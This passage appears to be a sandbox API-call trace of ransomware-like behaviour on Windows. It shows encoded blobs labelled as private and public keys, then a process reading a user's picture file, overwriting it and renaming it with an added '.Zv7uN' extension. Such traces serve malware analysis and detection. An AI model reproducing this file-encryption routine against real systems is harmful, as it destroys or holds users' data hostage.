cKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.530] GetCurrentThreadId () returned 0xa30 [0085.530] GetCurrentThreadId () returned 0xa30 [0085.530] GetCurrentThreadId () returned 0xa30 [0085.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.531] GetCurrentThreadId () returned 0xa30 [0085.531] GetCurrentThreadId () returned 0xa30 [0085.531] GetCurrentThreadId () returned 0xa30 [0085.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.532] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.532] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.532] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x14f13 [0085.532] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.532] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x14f13, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x14f13, lpOverlapped=0x0) returned 1 [0085.535] CloseHandle (hObject=0x110) returned 1 [0085.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.541] WriteFile (in: hFile=0x110, lpBuffer=0x1f15f70*, nNumberOfBytesToWrite=0x14f13, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f15f70*, lpNumberOfBytesWritten=0x18f6ac*=0x14f13, lpOverlapped=0x0) returned 1 [0085.546] CloseHandle (hObject=0x110) returned 1 [0085.552] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\6Cqyf 6anxs_CSLAysE.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\6cqyf 6anxs_cslayse.bmp.zv7un")) returned 1 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.553] GetCurrentThreadId () returned 0xa30 [0085.554] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e7ab40, ftCreationTime.dwHighDateTime=0x1d5e4e7, ftLastAccessTime.dwLowDateTime=0x36942f90, ftLastAccessTime.dwHighDateTime=0x1d5e059, ftLastWriteTime.dwLowDateTime=0x36942f90, ftLastWriteTime.dwHighDateTime=0x1d5e059, nFileSizeHigh=0x0, nFileSizeLow=0x8043, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7lZfRGVx.png", cAlternateFileName="")) returned 1 [0085.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.554] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e7ab40, ftCreationTime.dwHighDateTime=0x1d5e4e7, ftLastAccessTime.dwLowDateTime=0x36942f90, ftLastAccessTime.dwHighDateTime=0x1d5e059, ftLastWriteTime.dwLowDateTime=0x36942f90, ftLastWriteTime.dwHighDateTime=0x1d5e059, nFileSizeHigh=0x0, nFileSizeLow=0x8043)) returned 1 [0085.554] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png")) returned 0x20 [0085.554] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png", dwFileAttributes=0x80) returned 1 [0085.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt